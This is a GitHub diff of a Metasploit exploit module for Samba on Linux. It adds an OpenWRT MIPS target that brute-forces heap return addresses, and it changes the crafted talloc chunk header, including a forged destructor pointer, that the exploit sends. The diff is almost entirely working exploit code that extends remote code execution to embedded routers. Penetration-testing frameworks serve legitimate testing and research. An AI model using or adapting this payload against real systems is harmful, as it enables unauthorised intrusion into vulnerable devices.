File tree Expand file tree Collapse file tree 1 file changed +15
-1
lines changed
modules/exploits/linux/samba Expand file tree Collapse file tree 1 file changed +15
-1
lines changed Original file line number Diff line number Diff line change @@ -168,6 +168,20 @@ def initialize(info = {})
168
168
}
169
169
] ,
170
170
171
+ [ 'Linux Heap Brute Force (OpenWRT MIPS)' ,
172
+ {
173
+ 'Platform' => 'linux' ,
174
+ 'Arch' => [ ARCH_MIPSBE ] ,
175
+ 'Nops' => 64 *1024 ,
176
+ 'Bruteforce' =>
177
+ {
178
+ 'Start' => { 'Ret' => 0x55900000 } ,
179
+ 'Stop' => { 'Ret' => 0x559c0000 } ,
180
+ 'Step' => 60 *1024 ,
181
+ }
182
+ }
183
+ ] ,
184
+
171
185
[ 'DEBUG' ,
172
186
{
173
187
'Platform' => 'linux' ,
@@ -267,7 +281,7 @@ def brute_exploit(target_addrs)
267
281
talloc_magic = "\x70 \xec \x14 \xe8 "
268
282
269
283
# second talloc_chunk header
270
- buf << 'A' * 8 # next, prev
284
+ buf << NDR . long ( 0 ) + NDR . long ( 0 ) # next, prev
271
285
buf << NDR . long ( 0 ) + NDR . long ( 0 ) # parent, child
272
286
buf << NDR . long ( 0 ) # refs
273
287
buf << [ target_addrs [ 'Ret' ] ] . pack ( 'V' ) # destructor
You can’t perform that action at this time.
0 commit comments